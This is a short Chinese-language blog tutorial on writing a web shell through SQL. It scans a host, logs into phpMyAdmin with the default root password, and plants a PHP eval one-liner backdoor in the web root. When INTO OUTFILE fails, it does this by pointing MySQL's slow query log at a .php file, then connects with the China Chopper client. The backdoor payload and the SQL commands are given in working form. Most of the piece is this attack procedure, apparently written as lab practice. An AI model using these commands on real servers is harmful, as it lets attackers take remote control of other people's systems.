小课堂 -- 利用sql语句写入shell

简介: 小课堂 -- 利用sql语句写入shell

目标ip:192.168.52.143

一、御剑扫描该地址

 

image.png

 

获取到重要信息:

1、网站的绝对路径

image.png

 

2、phpmyadmin,并且是默认账号密码:root

 

image.png

 

二、登录数据口后台,写入一句话木马

select '<?php eval($_POST[x]);?>' into outfile 'c:/phpstudy/www/xx.php'

执行的时候报错

 

image.png

 

解决方法:

1、设置slow_query_log=1 启用慢查询日志。

 

image.png

 

2、修改slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='c:/phpstudy/www/xx.php'

 

image.png

 

3、向日志文件写入一句话

select '<?php eval($_POST[x]);?>' or sleep(11)

 

image.png

 

三、用菜刀链接

 

image.png

目录
相关文章
|
6月前
|
SQL 数据库
小课堂 -- 绕过去除特殊字符的sql注入
小课堂 -- 绕过去除特殊字符的sql注入
52 0
|
6月前
|
SQL
小课堂 -- sql注入绕过技术
小课堂 -- sql注入绕过技术
136 0
|
6月前
|
SQL 关系型数据库 Shell
postgresql|数据库|批量执行SQL脚本文件的shell脚本
postgresql|数据库|批量执行SQL脚本文件的shell脚本
323 0
|
Oracle 关系型数据库 数据库
新建Oracle 数据库的Shell+SQL脚本
不用图形界面,也不用DBCA的静默方式,下面是用Shell+SQL创建Oracle数据库的脚本。
164 0
|
SQL 关系型数据库 MySQL
SQL注入:为什么拿不到os-shell?
SQL注入:为什么拿不到os-shell?
114 0
|
SQL Shell PHP
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
102 0
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
|
SQL 安全 Shell
42、利用sql语句写入shell
42、利用sql语句写入shell
108 0
42、利用sql语句写入shell
|
SQL 关系型数据库 应用服务中间件
|
1月前
|
Shell
一个用于添加/删除定时任务的shell脚本
一个用于添加/删除定时任务的shell脚本
75 1
|
17天前
|
Shell Linux 测试技术
6种方法打造出色的Shell脚本
6种方法打造出色的Shell脚本
42 2
6种方法打造出色的Shell脚本